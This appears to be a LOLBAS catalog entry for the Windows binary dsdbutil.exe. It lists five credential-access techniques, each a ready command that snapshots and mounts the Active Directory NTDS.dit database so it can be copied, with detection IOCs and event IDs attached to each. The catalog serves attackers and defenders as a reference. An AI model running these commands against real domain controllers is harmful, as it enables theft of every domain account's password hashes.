DΛΣMӨП

Catalog LOLBAS

LOL · OtherMSBinary

dsdbutil.exe

5 techniques WindowsLOLBAS GPL-3.0

Dump

Credential Access Windows

dsdbutil supports VSS snapshot creation

Use Snapshoting of Active Directory NTDS.dit database

dsdbutil.exe "activate instance ntds" "snapshot" "create" "quit" "quit"
Context
admin
Native
Dump
Detection
IOC: Event ID 4688
IOC: dsdbutil.exe process creation
IOC: Event ID 4663
IOC: Regular and Volume Shadow Copy attempts to read or modify ntds.dit
IOC: Event ID 4656
IOC: Regular and Volume Shadow Copy attempts to read or modify ntds.dit

Dump

Credential Access Windows

Mounting the snapshot with its GUID

Use Mounting the snapshot to access the ntds.dit with `copy c:\<Snap Volume>\windows\ntds\ntds.dit c:\users\administrator\desktop\ntds.dit.bak`

dsdbutil.exe "activate instance ntds" "snapshot" "mount {GUID}" "quit" "quit"
Context
admin
Native
Dump
Detection
IOC: Event ID 4688
IOC: dsdbutil.exe process creation
IOC: Event ID 4663
IOC: Regular and Volume Shadow Copy attempts to read or modify ntds.dit
IOC: Event ID 4656
IOC: Regular and Volume Shadow Copy attempts to read or modify ntds.dit

Dump

Credential Access Windows

Deletes the mount of the snapshot

Use Deletes the snapshot

dsdbutil.exe "activate instance ntds" "snapshot" "delete {GUID}" "quit" "quit"
Context
admin
Native
Dump
Detection
IOC: Event ID 4688
IOC: dsdbutil.exe process creation
IOC: Event ID 4663
IOC: Regular and Volume Shadow Copy attempts to read or modify ntds.dit
IOC: Event ID 4656
IOC: Regular and Volume Shadow Copy attempts to read or modify ntds.dit

Dump

Credential Access Windows

Mounting with snapshot identifier

Use Mounting the snapshot identifier 1 and accessing it with `copy c:\<Snap Volume>\windows\ntds\ntds.dit c:\users\administrator\desktop\ntds.dit.bak`

dsdbutil.exe "activate instance ntds" "snapshot" "create" "list all" "mount 1" "quit" "quit"
Context
admin
Native
Dump
Detection
IOC: Event ID 4688
IOC: dsdbutil.exe process creation
IOC: Event ID 4663
IOC: Regular and Volume Shadow Copy attempts to read or modify ntds.dit
IOC: Event ID 4656
IOC: Regular and Volume Shadow Copy attempts to read or modify ntds.dit

Dump

Credential Access Windows

Deletes the mount of the snapshot

Use deletes the snapshot

dsdbutil.exe "activate instance ntds" "snapshot" "list all" "delete 1" "quit" "quit"
Context
admin
Native
Dump
Detection
IOC: Event ID 4688
IOC: dsdbutil.exe process creation
IOC: Event ID 4663
IOC: Regular and Volume Shadow Copy attempts to read or modify ntds.dit
IOC: Event ID 4656
IOC: Regular and Volume Shadow Copy attempts to read or modify ntds.dit